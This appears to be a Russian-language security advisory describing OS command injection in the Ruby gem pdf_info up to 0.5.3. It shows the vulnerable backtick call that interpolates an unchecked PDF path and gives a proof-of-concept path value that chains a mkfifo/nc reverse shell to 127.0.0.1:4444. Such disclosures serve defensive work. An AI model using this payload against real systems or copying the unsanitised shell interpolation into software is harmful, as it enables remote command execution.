
pdf_info <= 0.5.3 OS Command Injection
Ruby gem pdf_info <= 0.5.3 уязвим для внедрения команд ОС при выполнении метода над объектом PDF::Info.
Злоумышленник, используя специально сформированную нагрузку, может выполнять команды ОС с помощью объединения команд (command chaining).
При создании нового объекта PDF::Info вызывается метод initialize:
def initialize(pdf_path)
@pdf_path = pdf_path
end
Во время инициализации объекта проверка не выполняется, и используется предоставленный пользователем путь.
Мы можем создать объект PDF::Info и получить метаданные PDF с помощью следующего кода:
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
Когда мы вызываем метод metadata на объекте PDF::Info, происходит вызов метода process_output с аргументом, которым является метод command.
Метод command использует переменную класса @pdf_info для выполнения команды pdfinfo в системе с помощью следующего фрагмента кода, чтобы вернуть вывод команды:
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
Как и в методе initialize, для переменной @pdf_path не выполняется проверка. Это позволяет нам использовать объединение команд с помощью ; для выполнения произвольной команды:
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
Приведенный выше фрагмент кода выполнит reverse shell на 127.0.0.1 порт 4444.
